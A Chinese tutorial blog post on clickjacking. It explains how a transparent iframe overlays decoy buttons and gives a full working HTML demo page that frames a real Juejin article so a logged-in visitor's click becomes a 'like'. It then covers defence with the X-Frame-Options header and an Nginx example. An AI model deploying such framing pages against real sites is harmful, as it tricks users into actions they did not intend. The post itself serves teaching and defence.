点击劫持攻击

概述

点击劫持攻击(clickjacking)是一种欺诈性攻击方式,攻击者利用透明层让用户在不自知的情况下点击一个隐藏的页面元素。这种攻击可以导致用户无意中批准恶意活动,例如给攻击者的文章点赞或泄露敏感信息。

原理

点击劫持攻击听起来好像很厉害的黑客手段,但是其原理十分简单:

  1. 攻击者首先创建一个含有恶意代码的网页。
  2. 该网页中会包含一个透明的<iframe>元素,这个<iframe>中加载的是目标网站页面。
  3. 攻击者在自己的网页上添加诱饵,例如看起来正常的按钮或链接,它们在位置上与<iframe>中的元素重叠。
  4. 用户在点击诱饵,例如认为自己在进行正常操作时(如"提交"按钮),实际上点击的却是另一个透明<iframe>中的元素,导致攻击者可以捕获点击操作并触发不良动作。

如下图所示,攻击者可能会在灰色按钮上放置一个透明的<iframe>。当用户认为点击的是本网站的按钮时,其实触发了隐藏在<iframe>中的红色按钮。

攻击演示

为了展示点击劫持的效果,我们创建了一个恶意演示页面,并将 iframe 的透明度设置成 0.2。同时假设用户已经登录了掘金,并保持了登录状态,此时任何在恶意网站页面点击按钮操作,都会直接变成了掘金的点赞操作。

代码实现

html 复制代码
<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <style>
    html,
    body {
      height: 100%;
      padding: 0;
      margin: 0;
      overflow: hidden;
    }

    .iframe {
      width: 100%;
      height: 100%;
      border: 0;
      padding: 0;
      margin: 0;
      opacity: 0.2;
      z-index: 2;
    }

    .box {
      position: fixed;
      left: 168px;
      top: 140px;
      z-index: 0;
    }

    .box .button {
      width: 50px;
      height: 50px;
      border-radius: 50%;
      border: 2px solid #e2e2e2;
      background: #fff;
      color: #333;
      margin: 0;
      padding: 0;
    }
  </style>
</head>

<body>
  <div class="box">
    <button class="button">🐂</button>
  </div>
  <iframe src="https://juejin.cn/post/7332735079162593315" frameborder="0" class="iframe"></iframe>
</body>

</html>

防御攻击

要抵御点击劫持,最有效的方法是使用X-Frame-Options HTTP头。可以在服务器响应中设置,以阻止或允许页面嵌入<iframe>中。

注意 : 它必须设置在 HTTP header 中才有效,在 HTML 设置 <meta> 标签是不生效的。

例如:<meta http-equiv="X-Frame-Options"...> 是没有作用的。

这个 header 包含 3 种值:

  • DENY: 始终禁止在 frame 中显示此页面,即便是同域名下的页面也不允许嵌套。
  • SAMEORIGIN: 只允许与页面同源的<iframe>中显示页面。
  • ALLOW-FROM url: 允许指定域的<iframe>中显示页面(已废弃,不推荐使用)

Nginx 配置示例

nginx 复制代码
location / {
    # 设置 X-Frame-Options
    add_header X-Frame-Options SAMEORIGIN always; 
    # 其他配置...
}

参考资料

  1. OWASP. (n.d.). Clickjacking. www.owasp.org/index.php/C...
  2. Mozilla Developer Network. (n.d.). X-Frame-Options. developer.mozilla.org/en-US/docs/...
  3. Content Security Policy (CSP) - HTTP | MDN. developer.mozilla.org/en-US/docs/...
相关推荐
林恒smileZAZ1 小时前
Vue<前端页面版本检测>
前端·javascript·vue.js
码事漫谈4 小时前
当AI开始“思考”:我们是否真的准备好了?
前端·后端
许杰小刀5 小时前
ctfshow-web文件包含(web78-web86)
android·前端·android studio
超低空5 小时前
OpenClaw Windows 安装详细教程
人工智能·程序员·ai编程
我是Superman丶5 小时前
Element UI 表格某行突出悬浮效果
前端·javascript·vue.js
恋猫de小郭5 小时前
你的代理归我了:AI 大模型恶意中间人攻击,钱包都被转走了
前端·人工智能·ai编程
xiaokuangren_6 小时前
前端css颜色
前端·css
hoiii1876 小时前
C# 基于 LumiSoft 实现 SIP 客户端方案
前端·c#
anOnion6 小时前
构建无障碍组件之Meter Pattern
前端·html·交互设计
小码哥_常7 小时前
Spring Boot配置diff:解锁配置管理新姿势
前端